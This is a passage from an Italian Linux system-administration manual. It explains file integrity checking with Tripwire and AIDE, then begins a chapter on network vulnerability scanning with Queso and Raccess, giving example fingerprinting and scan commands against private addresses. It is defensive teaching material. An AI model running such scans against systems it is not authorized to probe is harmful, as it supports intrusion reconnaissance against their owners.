Capitolo 188Verifica dell’integrità dei fileAttraverso l’accumulo dicodici di controllo è possibile verificare l’integrità di file e di directory,contro l’uso improprio del sistema, comprendendo eventualmente l’azione di un virus.

188.1 Tripwire

Tripwire 1 è un programma per la verifica dell’integrità dei file attraverso il confronto con leinformazioni accumulate precedentemente. Vengono segnalate le aggiunte, le rimozioni e lealterazioni di file e directory.

Tripwire utilizza un file di configurazione (collocato in una directory da definire), che qui verràindicato come‘ tw.config ’ , in modo da seguire la convenzione della documentazione interna diTripwire.

Come si può intuire, una volta generato il file con le informazioni della situazione attuale delfi-le system, è necessario proteggerlo dalle alterazioni, collocandolo in unfile system in sola lettura(come potrebbe essere un dischetto, dove la protezione dalla scrittura viene fatta con un’azionemanuale e non può essere modificata elettronicamente). Meglio sarebbe se potesse essere anchenascosto in qualche modo. Nello stesso modo, se possibile, sarebbe opportuno nascondere il filedi configurazione.

Tripwire non è un pacchetto che si possa trovare in tutte le distribuzioni GNU. È decisamenteimprobabile che possa trovarsi all’interno delle distribuzioni di origine USA. Tuttavia, data laparticolarità del programma, non è molto importante disporre di un pacchetto specifico per lapropria distribuzione; l’eseguibile‘ tripwire ’ e il file di configurazione andranno collocati daqualche parte, in modo da non essere individuati facilmente.

188.1.1 Configurazione di Tripwire

Per comprendere il funzionamento diTripwire, è più conveniente vedere prima la suaconfigurazione attraverso il file‘ tw.config ’ (o qualunque altro nome si decida di utilizzare).

Lo scopo di questo è di elencare i file e le directory che si vogliono tenere sotto controllo, indican-do quali dettagli considerare su questi elementi. Nel file di configurazione possono essere usateanche direttive di pre-elaborazione, per selezionare elenchi differenti in presenza di situazionideterminate. In questa sezione viene ignorata tale particolarità; eventualmente si può consultarela pagina di manualetw.config(5).

Il formato delle direttive attraverso cui si dichiara l’inclusione o l’esclusione di un file o di unadirectory, è quello seguente. In particolare, i commenti sono preceduti dal simbolo‘#’ e conclusidal codice di interruzione di riga; inoltre le righe bianche e quelle vuote sono ignorate.

[ ! | =] voce [ parametro_riassuntivo][ +parametri_di_selezione- parametri_di_selezione]

Dal momento che si tratta di qualcosa di insolito rispetto alle direttive che si possono incontrarenei file di configurazione di altri programmi, conviene vedere subito un paio di esempi, senzadescriverli.

# Include la directory // +pinugsm12-ac3456789

# Esclude la directory /tmp/!/tmp

1Tripwire software non libero: non è consentita la commercializzazione a scopo di lucro

2057

Page 74: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2058 Verifica dell’integrità dei file

Il simbolo iniziale, facoltativo, serve a:

Page 75: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Verifica dell’integrità dei file 2059

‘ ! ’escludere completamente un file, o una directory e tutto il suo contenuto, dalla scansionee dalla verifica;

‘=’ escludere il contenuto di una directory dalla scansione e dalla verifica.

Se non viene indicato alcuno di questi due simboli, si intende verificare il file, o la directory etutto il suo contenuto in modo ricorsivo.

I parametri di selezione sono dei simboli rappresentati attraverso una singola lettera alfabeticaminuscola, o una singola cifra numerica. Ognuno di questi simboli rappresenta l’utilizzo o menodi un’analisi particolare sull’oggetto da verificare: i simboli sono preceduti dal segno‘+’ , o dalsegno‘ - ’ , a seconda che si voglia includere o escludere quell’analisi particolare.

Solitamente vengono posti inizialmente i simboli da includere, tutti assieme, dopo un segno‘+’ ,quindi quelli da escludere, dopo un solo segno‘ - ’ , come nel caso di‘+pinugsm12-ac3456789 ’ .La tabella188.2elenca questi simboli.

Tabella 188.2. Elenco dei parametri di selezione.

Simbolo Descrizionep Verifica dei bit dei permessi.i Verifica del numero diinode.n Numero dicollegamenti fisici.u Utente proprietario.g Gruppo proprietario.s Dimensione.> Incremento di dimensione.a Data-orario dell’ultimo accesso.m Data-orario dell’ultima modifica.c Data-orario della creazione o modifica dell’inode.0 Firma nulla.1 MD5, RSA Data Security, Inc. Message Digesting Algorithm.2 Snefru, Xerox Secure Hash Function.3 CRC-32, POSIX 1003.2.4 CRC-165 MD4, RSA Data Security, Inc. Message Digesting Algorithm.6 MD2, RSA Data Security, Inc. Message Digesting Algorithm.7 SHA, NIST Secure Hash Algorithm (NIST FIPS 180).8 Haval (128-bit).9 Firma nulla (riservato per uso futuro).

I parametri di selezione riassuntivi, sono identificati attraverso una sola lettera maiuscola, senzaessere preceduti dal segno‘+’ o ‘ - ’ . Possono essere usati da soli, o al massimo seguiti da una seriedi parametri di selezione che ne modificano l’effetto. La tabella188.3elenca questi simboli.

Tabella 188.3. Elenco dei parametri di selezione riassuntivi.

Simbolo Descrizione

R Sola lettura (‘+pinugsm12-ac3456789 ’), predefinito.L File delle registrazioni (‘+pinug-samc123456789 ’).N Verifica tutto (‘+pinugsamc123456789 ’).E Ignora tutto (‘ -pinugsamc123456789 ’ ).> Incremento monotonico (‘+pinug>-samc123456789 ’).

Segue la descrizione di alcuni esempi.

Page 76: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2060 Verifica dell’integrità dei file

• /etc +pinugsm12-ac3456789

Verifica la directory‘ /etc/ ’ e tutto il suo contenuto in modo ricorsivo, verificando: i bitdei permessi, i numeri diinode, i riferimenti agliinode, i numeri UID e GID, le date dimodifica, la firma in base al tipo MD5 e Snefru. Viene ignorata la data di accesso, la datadi creazione o modifica dell’inode e tutti gli altri tipi di firma.

• /etc R

Esattamente come nell’esempio precedente, dal momento che il parametro riassuntivo‘R’rappresenta le stesse cose.

• /etc

Esattamente come nell’esempio precedente, dal momento che il parametro riassuntivo‘R’è quello predefinito.

• /home/pippo E+ug

Verifica esclusivamente la proprietà dei file (utente e gruppo), come eccezione delparametro riassuntivo‘E’ , che da solo escluderebbe tutti i controlli.

• /home/pippo E

Esclude tutti i controlli, ma continua a verificare l’aggiunta o la cancellazione di file.

• !/home/pippo

Esclude qualunque verifica, ignorando anche l’aggiunta o la cancellazione di file.

• =/tmp

Verifica esclusivamente la directory‘ /tmp/ ’ , senza analizzarne il contenuto.

188.1.2 Avvio del programma

‘ tripwire ’ è l’eseguibile che svolge il compito di scansione e verifica dell’integrità dei file edelle directory specificati nel file di configurazione.

tripwire [ opzioni]

Si distinguono tre situazioni: la creazione del file contenente le informazioni sulla situazione at-tuale di ciò che si vuole tenere sotto controllo; l’aggiornamento di queste informazioni in presen-za di modifiche volontarie da parte dell’amministratore; la verifica di integrità, cioè il confrontodi queste informazioni con la situazione attuale.

A seconda di come viene compilato il programma, si stabilisce la collocazione predefinita e ilnome del file di configurazione e del file di registrazione delle informazioni. In generale, convieneutilizzare le opzioni necessarie a specificare tali file.

Segue la descrizione di alcune opzioni; se non vengono utilizzate le opzioni‘ -initialize ’e ‘ -update ’ , ‘ tripwire ’ si mette automaticamente a verificare l’integrità dei file secondo leinformazioni accumulate in precedenza.

Opzione Descrizione

-initializeGenera il file delle informazioni da conservare, in base allespecifiche della configurazione.

-update percorso_assolutoAggiorna le informazioni già esistenti per quanto riguarda ladirectory o il file indicato come argomento.

-interactive

Inizia la verifica dell’integrità dei file secondo le informazioniaccumulate in precedenza e chiede all’utente la conferma omeno della modifica di queste in modo conforme alla nuovasituazione trovata.

Page 77: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Verifica dell’integrità dei file 2061

Opzione Descrizione

-loosedir

Può essere utilizzato in fase di verifica per annullare il con-trollo delle directory, pur mantenendo il controllo del lorocontenuto, se questo è indicato nella configurazione. Ciò ser-ve per ridurre la quantità di segnalazioni che si presentano,quando questo può generare solo confusione. In generale, ilrischio di perdere informazioni importanti aumenta, ma allevolte l’eccesso può essere dannoso.

-d file

In fase di verifica dell’integrità dei dati, permette di specifica-re il file contenente le informazioni raccolte in precedenza. Sipuò utilizzare un trattino singolo‘ - ’ per fare riferimento allostandard input.

-c file_di_configurazione

Permette di specificare il file di configurazione, sia in fase digenerazione e aggiornamento delle informazioni da conserva-re, sia in fase di verifica. Si può utilizzare un trattino singolo‘ - ’ per fare riferimento allostandard input.

-v Emette l’elenco dei nomi di file nel momento in cui avvienela scansione.

Segue la descrizione di alcuni esempi.

• # tripwire -initialize -c /root/tw.config

Genera il file di raccolta delle informazioni, utilizzando un nome predefinito in base allacompilazione dei sorgenti, collocandolo probabilmente nella directory‘ ./databases/ ’(cioè a partire dalla directory corrente nel momento dell’avvio del programma). Il file diconfigurazione utilizzato è‘ /root/tw.config ’ .

• # tripwire -update /etc -c /root/tw.config

Aggiorna il file di raccolta delle informazioni (si fa sempre riferimento al nome prede-finito in base alla compilazione dei sorgenti, collocato probabilmente nella directory‘ ./databases/ ’) per le variazioni fatte nella directory‘ /etc/ ’ . Il file di configurazioneutilizzato è‘ /root/tw.config ’ .

• # tripwire -interactive -c /root/tw.config -d /root/tw.db

Esegue una verifica di integrità interattiva, utilizzando il file di configurazione‘ /root/

tw.config ’ e il file ‘ /root/tw.db ’ per il confronto rispetto alla situazione attuale.

• # tripwire -interactive -c /root/tw.config -d - < /mnt/floppy/tw.db

Esegue una verifica di integrità interattiva, utilizzando il file di configurazione‘ /root/

tw.config ’ e il file ‘ /mnt/floppy/tw.db ’ (che probabilmente si trova in un dischettoprotetto contro la scrittura) per il confronto rispetto alla situazione attuale.

188.1.3 Configurazione e utilizzo in pratica

Per poter usareTripwire in modo utile, la prima cosa da fare è studiare la sua configurazione,tenendo conto delle peculiarità delfile system. Volendo un controllo generalizzato, bisogna peròtenere conto delle aree in cui i dati cambiano continuamente per motivi fisiologici. Quello chesegue è un esempio, un po’ approssimativo, di una configurazione funzionante, anche se un po’blanda.

Page 78: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2062 Verifica dell’integrità dei file

# Include il controllo di tutto il file system./ +pinugsm14-ac2356789

# Esclude i file di dispositivo!/dev

# Esclude alcuni file dinamici nella directory /etc/.!/etc/issue!/etc/issue.net!/etc/ioctl.save!/etc/mtab!/etc/ntp.drift!/etc/ld.so.cache!/etc/snmpd.agentinfo!/etc/ssh_random_seed!/etc/mail/sendmail.st

# Esclude le directory personali.!/home

# Esclude i file riferiti ai moduli che vengono aggiornati a ogni# avvio del sistema.!/lib/modules/preferred!/lib/modules/2.0.34-1/modules.dep

# Esclude la directory /proc/.!/proc

# Esclude la directory /root/, ma poi aggiunge qualcosa che è# comunque opportuno controllare.!/root/root/bin/root/.ssh

# Esclude la directory temporanea.!/tmp

# Esclude i file whatis.!/usr/X11R6/man/whatis!/usr/lib/perl5/man/whatis!/usr/local/man/whatis!/usr/man/whatis

# Esclude la directory /var/.!/var

Di sicuro, si potrebbe fare meglio, studiando in modo più dettagliato ogni directory e file delfile system da controllare.

Quando si utilizzaTripwire per difendersi da una possibile intrusione nel sistema, è necessarionascondere il file di configurazione, anche se non sempre è facile farlo. Di certo, un modo è quellodi conservarlo in un dischetto. Anche il file di registrazione delle informazioni dovrebbe esserearchiviato in un posto sicuro e inaccessibile agli «intrusi»; anche in questo caso, il dischetto èl’unica possibilità concreta che hanno tutti.

A titolo di esempio si suppone di avere collocato l’eseguibile‘ tripwire ’ e il file diconfigurazione‘ tw.config ’ nella directory‘ /root/adm/tripwire/ ’ .

# cd /root/adm/tripwire [ Invio ]

# ./tripwire -initialize -c ./tw.config [ Invio ]

### Phase 1: Reading configuration file### Phase 2: Generating file list

Page 79: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Verifica dell’integrità dei file 2063

### Phase 3: Creating file information database###### Warning: Database file placed in ./databases/tw.db_dinkel.brot.dg.###### Make sure to move this file and the configuration### to secure media!###### (Tripwire expects to find it in ’/var/adm/tripwire/db’.)

Come si può osservare dal messaggio che si ottiene, è stato creato il file‘ ./databases/

tw.db_dinkel.brot.dg ’ contenente le informazioni raccolte, dove la parte finale del nomedel file, «dinkel.brot.dg» è il nome delnodo. Nel messaggio stesso, viene ricordato di spostaresia il file di configurazione che il file di registrazione delle informazioni (viene chiamatodataba-se) in un’unità «sicura». Per esempio, si potrebbe comprimere questo file per poterlo contenerein un dischetto, come nell’esempio seguente:

# gzip ./databases/tw.db_dinkel.brot.dg [ Invio ]

# mount /mnt/floppy [ Invio ]

# cp ./databases/tw.db_dinkel.brot.dg.gz /mnt/floppy [ Invio ]

# rm ./databases/tw.db_dinkel.brot.dg.gz [ Invio ]

# cp ./tw.config /mnt/floppy [ Invio ]

# rm ./tw.config [ Invio ]

# umount /mnt/floppy [ Invio ]

L’esempio è soltanto esplicativo. Il dischetto non è un supporto tecnicamente affidabile, diconseguenza occorre conservare in qualche modo migliore almeno il file di configurazione.

Nel momento del controllo, si può rimontare il dischetto ed eseguire una scansione di controllo.

# mount /mnt/floppy [ Invio ]

# gzip -d < /mnt/floppy/tw.db_dinkel.brot.dg.gz | ←→tripwire -c /mnt/floppy/tw.config -d - [ Invio ]

### Phase 1: Reading configuration file### Phase 2: Generating file list### Phase 3: Creating file information database### Phase 4: Searching for inconsistencies###### Total files scanned: 10650### Files added: 0### Files deleted: 0### Files changed: 10650###### After applying rules:### Changes discarded: 10649### Changes remaining: 2###changed: drwxr-xr-x root 3072 Sep 29 12:17:45 1998 /etcchanged: -rw-r--r-- root 62 Sep 29 12:17:45 1998 /etc/exports### Phase 5: Generating observed/expected pairs for changed files###### Attr Observed (what it is) Expected (what it should be)### =========== ============================= =============================/etc

st_mtime: Tue Sep 29 12:17:45 1998 Tue Sep 29 12:13:30 1998

Page 80: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2064 Verifica dell’integrità dei file

/etc/exportsst_ino: 4100 4150

st_size: 62 22st_mtime: Tue Sep 29 12:17:45 1998 Tue Sep 29 12:13:30 1998

md5 (sig1): 3TsxXpVgza:NQutDYSbVIm 1QLSacLNpOIOF6iUqeUo.mcrc16 (sig4): 0008f5 0007e.

L’esempio mostra che dal controllo di integrità risulta variato il file‘ /etc/exports ’ : il numerodi inode è cambiato e così anche la data di modifica, la dimensione è aumentata e le firme utiliz-zate (MD5 e CRC-16) sono ovviamente differenti. Anche la directory‘ /etc/ ’ risulta modificata,ma questo sembra essere solo una conseguenza dell’alterazione di questo file.

188.1.4 Uso delle firme

La firma, utilizzando uno o più dei vari metodi elencati nella descrizione della configurazione diTripwire, serve a verificare che il file o la directory siano sempre gli stessi. La scelta della com-plessità della firma dipende dalla gravità o meno del problema che ha la sicurezza nel contestoper il quale si utilizza. Di solito ne vengono usate almeno due; se ci si accontenta, si possonousare anche firme piuttosto piccole e semplici. La scelta di firme elementari, riduce il livello disicurezza, ma anche il peso dell’elaborazione necessaria.

188.2 AIDE

AIDE 2 è un altro programma per la verifica dell’integrità dei file attraverso il confronto con leinformazioni accumulate precedentemente, segnalando le aggiunte, le rimozioni e le alterazionidi file e directory. Si tratta di uno strumento prezioso per scoprire gli utilizzi impropri del sistemacomprendendo l’azione di cavalli di Troia e virus.

Il funzionamento diAIDE è controllato da un file di configurazione, che generalmente è benenon lasciare nelfile system per motivi di sicurezza, inserendolo solo nel momento del bisogno.Tale file di configurazione verrà identificato qui con il nome‘aide.conf ’ , senza stabilire unacollocazione ben precisa.

Nello stesso modo, anche il file contenente le informazioni accumulate riguardo allo stato delfile system va protetto, preferibilmente togliendolo dalfile system stesso, in modo da garantireche non possa essere letto e alterato.

AIDE può utilizzare diversi algoritmi crittografici per generare icodici di controllo necessariper le sue verifiche. Per questa ragione, a causa delle norme che impediscono l’esportazione dialgoritmi del genere, è improbabile che possa trovarsi all’interno delle distribuzioni di origineUSA.

188.2.1 Configurazione di AIDE: aide.conf

La configurazione diAIDE è simile a quella diTripwire, con l’aggiunta di direttive nuove. In ge-nerale, a parte i commenti che si indicano preceduti dal simbolo‘#’ e le righe che non contengonodirettive, si distinguono tre gruppi:

• direttive di configurazione, con le quali si stabiliscono delle modalità di funzionamentogenerali;

• direttive di selezione, con le quali si stabiliscono quali file e directory tenere sotto controllo;2AIDE GNU GPL

Page 81: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Verifica dell’integrità dei file 2065

• macroistruzioni.

In generale, sono indispensabili solo le direttive di selezione che assomigliano molto alle direttivecorrispondenti diTripwire. Le macroistruzioni servono per scandire il file di configurazione inmodo differente in base a condizioni determinate, come fa un preprocessore di un linguaggiodi programmazione. Anche questa funzionalità è analoga a qualla diTripwire e qui non vienedescritta; eventualmente si può consultare lapagina di manualeaide.conf (5).

Le direttive di configurazione hanno la forma seguente:

nome=valore

In particolare, quando il valore assegnato si riferisce a un file, viene usata una forma descrittanella tabella188.5. La descrizione delle direttive di configurazione appare invece nella tabella188.6.

Tabella 188.5. Modalità di indicazione dei file nelle direttive di configurazione.

Forma Descrizionestdout Dati emessi attraverso lostandard output.stderr Dati emessi attraverso lostandard error.stdin Dati letti dallostandard input.file://file Si fa riferimento al file indicato.fd:n Si fa riferimento al descrittore di filen.

Tabella 188.6. Direttive di configurazione principali.

Nome Predefinito Descrizionedatabase file://./aide.db File delle informazioni accumulate in precedenza.database_out file://./aide.db.new File delle informazioni da accumulare.report_url stdout File usato per emettere le informazioni sull’elaborazione.

Una direttiva di configurazione che fa riferimento a un nome non conosciuto, serve a definireun gruppo. Ciò può essere utile successivamente nelle direttive di selezione, dove si può fareriferimento a questi gruppi senza dover ripetere sempre la stessa espressione di selezione. Questoverrà mostrato meglio successivamente.

Le direttive di selezione hanno il formato seguente:

/ | ! | = voce espressione

Il primo carattere definisce il modo in cui va interpretata la direttiva:

‘ / ’ include un file, o una directory e tutto il suo contenuto, per la scansione e la verifica;

‘ ! ’escludere completamente un file, o una directory e tutto il suo contenuto, dalla scansionee dalla verifica;

‘=’ escludere il contenuto di una directory dalla scansione e dalla verifica.

Ciò che segue il primo carattere è inteso come un’espressione regolare che descrive uno o piùpercorsi di file e directory. All’interno di questeespressioni regolari, la barra obliqua normale,‘ / ’ , ha significato letterale.

Il confronto attraversoespressioni regolari avviene se tale gestione è stata inclusa in fase dicompilazione, pertanto ciò potrebbe anche mancare, funzionando solo un confronto letterale.

Page 82: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2066 Verifica dell’integrità dei file

L’espressione che segue rappresenta il tipo di controllo da attuare, attraverso l’indicazione di unoo più gruppi. Questi «gruppi» sono parole chiave che definiscono in breve ciò che deve essereverificato; queste parole chiave possono essere unite assieme inserendo il simbolo‘+’ , ma puòessere usato anche il simbolo‘ - ’ per sottrarre delle verifiche incluse precedentemente. La tabella188.8elenca i gruppi predefiniti e di seguito vengono mostrati alcuni esempi elementari:

# Include la directory / e tutte le directory successive/ p+i+n+u+g+s+m+c+md5

# Esclude la directory /dev/!/dev

# Analizza esclusivamente la directory /tmp/ senza il suo contenuto=/tmp

Tabella 188.8. Elenco dei gruppi predefiniti.

Simbolo Descrizionep Verifica dei bit dei permessi.i Verifica del numero diinode.n Numero dicollegamenti fisici.u Utente proprietario.g Gruppo proprietario.s Dimensione.b Conteggio dei blocchi.m Data di modifica.a Data di accesso.c Data di modifica dell’inode.S Incremento di dimensione.md5 Firma MD5.sha1 Firma SHA1.rmd160 Firma RMD160.tiger Firma Tiger.crc32 Firma CRC-32 (se incluso in fase di compilazione).haval Firma Haval (se incluso in fase di compilazione).gost Firma Gost (se incluso in fase di compilazione).R Equivalente a‘p+i+n+u+g+s+m+c+md5 ’ .L Equivalente a‘p+i+n+u+g ’ .E Gruppo vuoto.> File delle registrazioni‘p+i+n+u+g+S ’ .

In precedenza è stata descritta la possibilità di definire dei gruppi aggiuntivi nell’ambito delledirettive di configurazione. La sintassi di questa direttiva particolare è la seguente:

nome_gruppo = gruppo_esistente[ +| - gruppo_esistente] ...

In pratica, il segno‘+’ aggiunge il controllo del gruppo che precede, mentre il segno‘ - ’ sottrae ilcontrollo del gruppo che precede. A titolo di esempio, viene mostrata la definizione di un gruppopersonalizzato, in cui si utilizza il gruppo predefinito‘R’ senza la verifica della firma MD5:

Personale = R-md5

Successivamente si può utilizzare esattamente come i gruppi predefiniti:

/usr Personale

È da osservare che i nomi usati nelle direttive di configurazione sono sensibili alla differenza tramaiuscole e minuscole.

Page 83: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Verifica dell’integrità dei file 2067

Esempio Descrizione

/etc p+i+n+u+g+s+m+c+md5

Verifica la directory‘ /etc/ ’ e tutto il suo contenuto in mo-do ricorsivo, verificando: i bit dei permessi, i numeri diino-de, i riferimenti agliinode, i numeri UID e GID, le date dimodifica, le date di creazione degliinode e la firma MD5.

/etc REsattamente come nell’esempio precedente, dal momento cheil gruppo riassuntivo‘R’ rappresenta le stesse cose.

/etc R+sha1Come nell’esempio precedente, aggiungendo il controllodella firma SHA1.

!/home/pippoEsclude qualunque verifica a partire dal percorso‘ /home/

pippo/ ’ .

=/tmp RVerifica esclusivamente la directory‘ /tmp/ ’ , senza analizzar-ne il contenuto.

188.2.2 Utilizzo

‘aide ’ è l’eseguibile che svolge il compito di scansione e verifica dell’integrità dei file e delledirectory specificati nel file di configurazione. Si distinguono tre situazioni: la creazione del fi-le contenente le informazioni sulla situazione attuale di ciò che si vuole tenere sotto controllo;l’aggiornamento di queste informazioni in presenza di modifiche volontarie da parte dell’am-ministratore; la verifica di integrità, cioè il confronto di queste informazioni con la situazioneattuale.

aide [ opzioni]

A seconda di come viene compilato il programma, si stabilisce la collocazione predefinita e ilnome del file di configurazione e del file di registrazione delle informazioni. In generale, convieneutilizzare le opzioni necessarie a specificare tali file, quando queste sono disponibili.

È da osservare cheAIDE distingue nettamente tra il file contenente le informazioni accumu-late in precedenza e quello che viene generato dall’elaborazione. In generale si fa riferimentoa ‘aide.db ’ per le informazioni originali e‘aide.db.new ’ per quelle che vengono genera-te nuovamente. Una volta generato un file nuovo, è compito dell’amministratore cambiarglinome o spostarlo opportunamente. Naturalmente, questa considerazione vale anche quando siusa l’opzione‘ --update ’ per aggiornare un elenco vecchio, nel qual casoAIDE usa entrambii file: uno in lettura e l’altro in scrittura.

Opzione Descrizione

--initGenera il file delle informazioni da conservare, in base allespecifiche della configurazione.

--updateAggiorna il file delle informazioni (legge quello vecchio e negenera uno nuovo).

--checkVerifica l’integrità dei file secondo le informazioni accumula-te in precedenza, informando l’utente di conseguenza.

--config= file_di_configurazione Consente di indicare esplicitamente il file di configurazioneda utilizzare.

• # aide --init --config=/root/aide.conf

Genera il file di raccolta delle informazioni, utilizzando un nome predefinito in base allacompilazione dei sorgenti, oppure in base alla configurazione, che in questo caso vieneindicato espressamente come‘ /root/aide.conf ’ .

Page 84: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2068 Verifica dell’integrità dei file

• # aide --update --config=/root/aide.conf

Genera un nuovo file di raccolta delle informazioni aggiornato. Il file di configurazioneutilizzato è‘ /root/aide.conf ’ .

• # aide --check --config=/root/aide.conf

Esegue una verifica di integrità, utilizzando il file di configurazione‘ /root/aide.conf ’ .

Appunti di informatica libera 2003.01.01 ---Copyright© 2000-2003 Daniele Giacomini --daniele @ swlibero.org

Page 85: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Capitolo 189Verifica della vulnerabilità della propria reteSono disponibili alcuni applicativi in grado di sondare una rete, o un elaboratore singolo, allaricerca di informazioni e di problemi noti che possono consentire a un aggressore di compieredelle azioni indesiderabili.

I programmi di questo tipo sono strumenti di aggressione, ma lo scopo dovrebbe essere quellodi aiutare gli amministratori a prevenire problemi nella sicurezza della rete di propria competen-za. Di conseguenza, tali programmi vanno utilizzati esclusivamente contro sistemi che rientranonella propria gestione, o per i quali è stata ottenuta l’autorizzazione a farlo.

L’utilizzo di questo genere di programmi lascia generalmente delle tracce nelregistro del sistemadelnodo analizzato, pertanto queste azioni potrebbero anche essere considerate un’attività ostilee scatenare la reazione degli amministratori rispettivi.

189.1 Queso

Queso,1 è un programma che, attraverso l’invio di pacchetti TCP a una porta qualunque (purchéci sia qualcosa in ascolto) di un certonodo, cerca di determinarne il sistema operativo. Teorica-mente, la scelta della porta è indifferente, purché si tratti di una porta presso cui sia disponibileun servizio in ascolto; comunque, se non viene specificata si fa riferimento alla numero 80.

queso [ opzioni] indirizzo_ipv4[ / n][ : porta]

L’indirizzo, se è seguito da una barra obliqua e da un numero, rappresenta un gruppo dinodi dasondare, dove ciò che segue la barra obliqua è lamaschera di rete espressa come quantità di bita uno da considerare nell’indirizzo. Se l’indirizzo è seguito da due punti e un numero, si intendefare riferimento esplicito a una certa porta da usare per le prove.

Queso ha la necessità di funzionare con i privilegi dell’utente‘ root ’ .

Segue la descrizione di alcuni esempi:

• # queso 192.168.1.2

Cerca di determinare con quale sistema operativo funziona ilnodo 192.168.1.2.

• # queso 192.168.1.0/24

Cerca di determinare con quale sistema operativo funzionano inodi 192.168.1.* .

• # queso 192.168.1.2:111

Cerca di determinare con quale sistema operativo funziona ilnodo 192.168.1.2, utilizzandoper questo la porta 111.

Le informazioni in base alle quali è possibile individuare di che tipo di sistema operativo si tratta,sono contenute nel file di configurazione, che corrisponde a‘ /etc/queso.conf ’ . Si comprendeintuitivamente come è organizzato questo file, osservando quanto già contiene; se si incontra untipo di risposta imprevisto, si può aggiornare il file configurazione con l’opzione‘ -w ’ , andandopoi a ritoccare l’annotazione aggiunta con la descrizione del sistema, che si presume conoscereper altre vie:

1Queso GNU GPL

2069

Page 86: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2070 Verifica della vulnerabilità della propria rete

*- Unknown OS @ 192.168.1.1:800 1 +1 1 SA1 0 0 0 R2 - - - -3 0 0 0 R4 1 +1 1 SA5 - - - -6 1 +1 1 SA

L’esempio rappresenta ciò che si può ottenere in questi casi, in coda al file. È sufficientemodificare la prima riga, in un modo simile a quello seguente:

*- GNU/Linux, kernel 2.4.190 1 +1 1 SA1 0 0 0 R2 - - - -3 0 0 0 R4 1 +1 1 SA5 - - - -6 1 +1 1 SA

189.2 Raccess

Raccess,2 ovveroRemote Access Session, è un programma molto semplice per la scansione di unelaboratore o di una rete di elaboratori, alla ricerca di problemi. Il suo utilizzo è molto semplice:

raccess [ opzioni] nodo

raccess [ opzioni] -n indirizzo_ipv4/ n

L’uso normale diRaccess prevede di sondare un solonodo, mentre l’opzione‘ -n ’ consente diindicare un indirizzo IPv4 seguito dallamaschera di rete espressa come quantità di bit inizialida considerare. SeRaccess si avvia con l’opzione‘ -s ’ si ottiene la verifica dei servizi di retedisponibili, senza la ricerca di difetti specifici insiti in una certa versione di un certo servizio.

Segue la descrizione di alcuni esempi.

• $ raccess 192.168.1.2

Verifica le debolezze eventuali delnodo corrispondente all’indirizzo 192.168.1.2. Si ottienel’elenco dei servizi che sembrano essere disponibili, con le informazioni che questi forni-scono, inoltre viene offerta la possibilità di controllare la presenza di carenze specifiche(exploit).

• $ raccess -n 192.168.1.1/24

Esegue una scansione ricorsiva a partire dalnodo 192.168.1.1, per tutti gli indirizzi192.168.1.* .

Il funzionamento diRaccess richiede comunque una forma di interazione con l’utente; in parti-colare, al termine dell’analisi di ogninodo, viene chiesto se conservare o cancellare il file con-tenente il rapporto generato. Questo file viene creato nella directory corrente, con un nome cor-rispondente all’indirizzo dell’elaboratore sondato. Per esempio, il file‘192.168.1.2 ’ contienele notizie raccolte a proposito delnodo che ha lo stesso indirizzo. Ecco come si può presentare ilcontenuto di questo file:

2Raccess GNU GPL

Page 87: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Verifica della vulnerabilità della propria rete 2071

---------192.168.1.2 Report--------

--Service ssh Port 22 opened!!--SSH-1.99-OpenSSH_3.4p1 Debian 1:3.4p1-2.1

--Service telnet Port 23 opened!!----Service smtp Port 25 opened!!--220 roggen.brot.dg ESMTP Exim 3.35 #1 Thu, 14 Nov 2002 15:34:31 +0100

--Service www Port 80 opened!!--Server: Boa/0.94.11

--Service sunrpc Port 111 opened!!--

189.3 SATAN o SANTA

